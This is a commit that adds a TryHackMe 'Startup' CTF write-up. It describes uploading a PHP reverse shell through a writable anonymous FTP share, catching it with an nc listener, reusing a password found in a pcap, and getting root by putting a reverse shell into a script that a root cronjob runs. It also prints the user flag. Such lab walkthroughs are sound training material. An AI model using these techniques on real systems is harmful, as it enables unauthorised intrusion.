mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-25 05:10:23 +00:00
Add files via upload
This commit is contained in:
AbdullahRizwan101
GitHub
parent
d3146f5ede
commit
0a048cd049
1 changed files with 259 additions and 0 deletions
259
TryHackMe/Startup.md
Normal file
259
TryHackMe/Startup.md
Normal file
|
|
@ -0,0 +1,259 @@
|
||||||
|
# TryHackMe-Startup
|
||||||
|
|
||||||
|
## NMAP
|
||||||
|
|
||||||
|
```
|
||||||
|
Nmap scan report for 10.10.126.211
|
||||||
|
Host is up (0.15s latency).
|
||||||
|
Not shown: 997 closed ports
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
21/tcp open ftp vsftpd 3.0.3
|
||||||
|
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|
||||||
|
| drwxrwxrwx 2 65534 65534 4096 Nov 09 02:12 ftp [NSE: writeable]
|
||||||
|
|_-rw-r--r-- 1 0 0 208 Nov 09 02:12 notice.txt
|
||||||
|
| ftp-syst:
|
||||||
|
| STAT:
|
||||||
|
| FTP server status:
|
||||||
|
| Connected to 10.14.3.143
|
||||||
|
| Logged in as ftp
|
||||||
|
| TYPE: ASCII
|
||||||
|
| No session bandwidth limit
|
||||||
|
| Session timeout in seconds is 300
|
||||||
|
| Control connection is plain text
|
||||||
|
| Data connections will be plain text
|
||||||
|
| At session startup, client count was 3
|
||||||
|
| vsFTPd 3.0.3 - secure, fast, stable
|
||||||
|
|_End of status
|
||||||
|
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|
||||||
|
| ssh-hostkey:
|
||||||
|
| 2048 42:67:c9:25:f8:04:62:85:4c:00:c0:95:95:62:97:cf (RSA)
|
||||||
|
| 256 dd:97:11:35:74:2c:dd:e3:c1:75:26:b1:df:eb:a4:82 (ECDSA)
|
||||||
|
|_ 256 27:72:6c:e1:2a:a5:5b:d2:6a:69:ca:f9:b9:82:2c:b9 (ED25519)
|
||||||
|
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||||||
|
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
||||||
|
|_http-title: Maintenance
|
||||||
|
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## PORT 80
|
||||||
|
|
||||||
|
<img src="https://imgur.com/BeyLjt9.png"/>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Gobuster
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~/TryHackMe/Easy/Startup# gobuster dir -u http://10.10.126.211/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
|
||||||
|
===============================================================
|
||||||
|
Gobuster v3.0.1
|
||||||
|
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
|
||||||
|
===============================================================
|
||||||
|
[+] Url: http://10.10.126.211/
|
||||||
|
[+] Threads: 16
|
||||||
|
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
||||||
|
[+] Status codes: 200,204,301,302,307,401,403
|
||||||
|
[+] User Agent: gobuster/3.0.1
|
||||||
|
[+] Timeout: 10s
|
||||||
|
===============================================================
|
||||||
|
2020/11/09 21:02:55 Starting gobuster
|
||||||
|
===============================================================
|
||||||
|
/files (Status: 301)
|
||||||
|
|
||||||
|
```
|
||||||
|
Visting `/files`
|
||||||
|
|
||||||
|
<img src="https://imgur.com/9QKO9K2.png"/>
|
||||||
|
|
||||||
|
We found `notice.txt`
|
||||||
|
|
||||||
|
```
|
||||||
|
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
|
||||||
|
```
|
||||||
|
Here `maya` might be a username
|
||||||
|
|
||||||
|
There wasn't anything in the `ftp` directory
|
||||||
|
|
||||||
|
## PORT 21 (FTP)
|
||||||
|
|
||||||
|
<img src="https://imgur.com/qRHvzXL.png"/>
|
||||||
|
|
||||||
|
Here we find a hidden log file `.test.log`
|
||||||
|
|
||||||
|
But we see something interesting when looking at `ftp` directory
|
||||||
|
|
||||||
|
```
|
||||||
|
drwxrwxrwx 2 65534 65534 4096 Nov 09 02:12 ftp
|
||||||
|
```
|
||||||
|
|
||||||
|
We can read and write files on that directory
|
||||||
|
|
||||||
|
So I tried to upload php reverse shell and it did get uploaded
|
||||||
|
|
||||||
|
```
|
||||||
|
ftp> put shell.php
|
||||||
|
local: shell.php remote: shell.php
|
||||||
|
200 PORT command successful. Consider using PASV.
|
||||||
|
150 Ok to send data.
|
||||||
|
226 Transfer complete.
|
||||||
|
5493 bytes sent in 0.00 secs (36.6331 MB/s)
|
||||||
|
ftp>
|
||||||
|
```
|
||||||
|
|
||||||
|
Now let's go back to `/files/ftp`
|
||||||
|
|
||||||
|
<img src="https://imgur.com/rXdAZqu.png"/>
|
||||||
|
|
||||||
|
And then listen for the port you setup in that reverse shell and we'll get it
|
||||||
|
```
|
||||||
|
Croot@kali:~/TryHackMe/Easy/Startup# nc -lvp 6666
|
||||||
|
listening on [any] 6666 ...
|
||||||
|
10.10.126.211: inverse host lookup failed: Unknown host
|
||||||
|
connect to [10.14.3.143] from (UNKNOWN) [10.10.126.211] 58662
|
||||||
|
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||||
|
16:32:06 up 38 min, 0 users, load average: 0.00, 0.00, 0.00
|
||||||
|
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||||
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||||
|
/bin/sh: 0: can't access tty; job control turned off
|
||||||
|
$ whoami
|
||||||
|
www-data
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
rwxr-xr-x 26 root root 4096 Nov 9 15:54 .
|
||||||
|
drwxr-xr-x 26 root root 4096 Nov 9 15:54 ..
|
||||||
|
drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin
|
||||||
|
drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
|
||||||
|
drwxr-xr-x 2 root root 4096 Nov 9 02:10 data
|
||||||
|
drwxr-xr-x 16 root root 3560 Nov 9 15:53 dev
|
||||||
|
drwxr-xr-x 96 root root 4096 Nov 9 02:33 etc
|
||||||
|
drwxr-xr-x 3 root root 4096 Nov 9 02:15 home
|
||||||
|
drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 incidents
|
||||||
|
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img -> boot/initrd.img-4.4.0-190-generic
|
||||||
|
lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
|
||||||
|
drwxr-xr-x 22 root root 4096 Sep 25 08:22 lib
|
||||||
|
drwxr-xr-x 2 root root 4096 Sep 25 08:10 lib64
|
||||||
|
drwx------ 2 root root 16384 Sep 25 08:12 lost+found
|
||||||
|
drwxr-xr-x 2 root root 4096 Sep 25 08:09 media
|
||||||
|
drwxr-xr-x 2 root root 4096 Sep 25 08:09 mnt
|
||||||
|
drwxr-xr-x 2 root root 4096 Sep 25 08:09 opt
|
||||||
|
dr-xr-xr-x 126 root root 0 Nov 9 15:53 proc
|
||||||
|
-rw-r--r-- 1 www-data www-data 136 Nov 9 02:12 recipe.txt
|
||||||
|
drwx------ 4 root root 4096 Nov 9 02:15 root
|
||||||
|
drwxr-xr-x 25 root root 900 Nov 9 16:26 run
|
||||||
|
drwxr-xr-x 2 root root 4096 Sep 25 08:22 sbin
|
||||||
|
drwxr-xr-x 2 root root 4096 Nov 9 02:10 snap
|
||||||
|
drwxr-xr-x 3 root root 4096 Nov 9 02:11 srv
|
||||||
|
dr-xr-xr-x 13 root root 0 Nov 9 16:33 sys
|
||||||
|
drwxrwxrwt 7 root root 4096 Nov 9 16:35 tmp
|
||||||
|
drwxr-xr-x 10 root root 4096 Sep 25 08:09 usr
|
||||||
|
drwxr-xr-x 2 root root 4096 Nov 9 02:10 vagrant
|
||||||
|
drwxr-xr-x 14 root root 4096 Nov 9 02:11 var
|
||||||
|
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
|
||||||
|
lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Here we can find `recipe.txt` that tells the answer to `What is the secret spice soup recipe ?`
|
||||||
|
|
||||||
|
I ran `find` command to check what file can`www-data` is able to read
|
||||||
|
|
||||||
|
Running linpeas I found
|
||||||
|
|
||||||
|
<img src="https://imgur.com/sIRgo5c.png"/>
|
||||||
|
|
||||||
|
```
|
||||||
|
/vagrant
|
||||||
|
/incidents
|
||||||
|
/data
|
||||||
|
```
|
||||||
|
|
||||||
|
Are unexpected folders in system(/) directory
|
||||||
|
|
||||||
|
Going to `/incidents`
|
||||||
|
|
||||||
|
```
|
||||||
|
www-data@startup:/incidents$ ls -al
|
||||||
|
total 40
|
||||||
|
drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 .
|
||||||
|
drwxr-xr-x 26 root root 4096 Nov 10 14:10 ..
|
||||||
|
-rwxr-xr-x 1 www-data www-data 31224 Nov 9 02:12 suspicious.pcapng
|
||||||
|
www-data@startup:/incidents$
|
||||||
|
|
||||||
|
```
|
||||||
|
<img src="https://imgur.com/Yw05Mqg.png"/>
|
||||||
|
|
||||||
|
I then followed `tcp stream`
|
||||||
|
|
||||||
|
<img src="https://imgur.com/gXm09BG.png"/>
|
||||||
|
|
||||||
|
Now this `c4ntg3t3n0ughsp1c3` password maybe for `lennie` or `vagrant`
|
||||||
|
|
||||||
|
```
|
||||||
|
www-data@startup:/incidents$ su lennie
|
||||||
|
Password:
|
||||||
|
lennie@startup:/incidents$
|
||||||
|
```
|
||||||
|
So we finally get to lower privileged user
|
||||||
|
|
||||||
|
|
||||||
|
### User Flag
|
||||||
|
|
||||||
|
```
|
||||||
|
lennie@startup:/incidents$ cd ~
|
||||||
|
lennie@startup:~$ ls -al
|
||||||
|
total 20
|
||||||
|
drwx------ 4 lennie lennie 4096 Nov 9 02:12 .
|
||||||
|
drwxr-xr-x 3 root root 4096 Nov 9 02:15 ..
|
||||||
|
drwxr-xr-x 2 lennie lennie 4096 Nov 9 02:12 Documents
|
||||||
|
drwxr-xr-x 2 root root 4096 Nov 9 02:13 scripts
|
||||||
|
-rw-r--r-- 1 lennie lennie 38 Nov 9 02:12 user.txt
|
||||||
|
lennie@startup:~$ cat user.txt
|
||||||
|
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
|
||||||
|
lennie@startup:~$
|
||||||
|
```
|
||||||
|
## Privilege Escalation
|
||||||
|
|
||||||
|
```
|
||||||
|
lennie@startup:~/scripts$ ls -al
|
||||||
|
total 16
|
||||||
|
drwxr-xr-x 2 root root 4096 Nov 9 02:13 .
|
||||||
|
drwx------ 4 lennie lennie 4096 Nov 9 02:12 ..
|
||||||
|
-rwxr-xr-x 1 root root 77 Nov 9 02:12 planner.sh
|
||||||
|
-rw-r--r-- 1 root root 1 Nov 10 14:45 startup_list.txt
|
||||||
|
lennie@startup:~/scripts$
|
||||||
|
```
|
||||||
|
We now can see in lennie's home directory there is `/srcipts` where we can do something with `planner.sh`. It seems we cannot edit that file so there is another script file that we can edit
|
||||||
|
|
||||||
|
```
|
||||||
|
lennie@startup:~/scripts$ ls -al
|
||||||
|
total 16
|
||||||
|
drwxr-xr-x 2 root root 4096 Nov 9 02:13 .
|
||||||
|
drwx------ 4 lennie lennie 4096 Nov 9 02:12 ..
|
||||||
|
-rwxr-xr-x 1 root root 77 Nov 9 02:12 planner.sh
|
||||||
|
-rw-r--r-- 1 root root 1 Nov 10 14:58 startup_list.txt
|
||||||
|
lennie@startup:~/scripts$ cat /etc/print.sh
|
||||||
|
#!/bin/bash
|
||||||
|
echo "Done!"
|
||||||
|
lennie@startup:~/scripts$ ls -al /etc/print.sh
|
||||||
|
-rwx------ 1 lennie lennie 25 Nov 9 02:12 /etc/print.sh
|
||||||
|
lennie@startup:~/scripts$ cat /etc/print.sh
|
||||||
|
#!/bin/bash
|
||||||
|
echo "Done!"
|
||||||
|
lennie@startup:~/scripts$
|
||||||
|
```
|
||||||
|
|
||||||
|
After adding a reverse bash shell don't just run the script because it would just give you a shell as `lennie` see starts listening and don't just run the script it would give a shell with in a minute.
|
||||||
|
|
||||||
|
<img src="https://imgur.com/IeUPwTh.png"/>
|
||||||
|
|
||||||
|
```
|
||||||
|
root@startup:~# crontab -l
|
||||||
|
crontab -l
|
||||||
|
* * * * * /home/lennie/scripts/planner.sh
|
||||||
|
root@startup:~#
|
||||||
|
```
|
||||||
|
As you can see it was a cronjob
|
||||||
|
|
||||||
Loading…
Reference in a new issue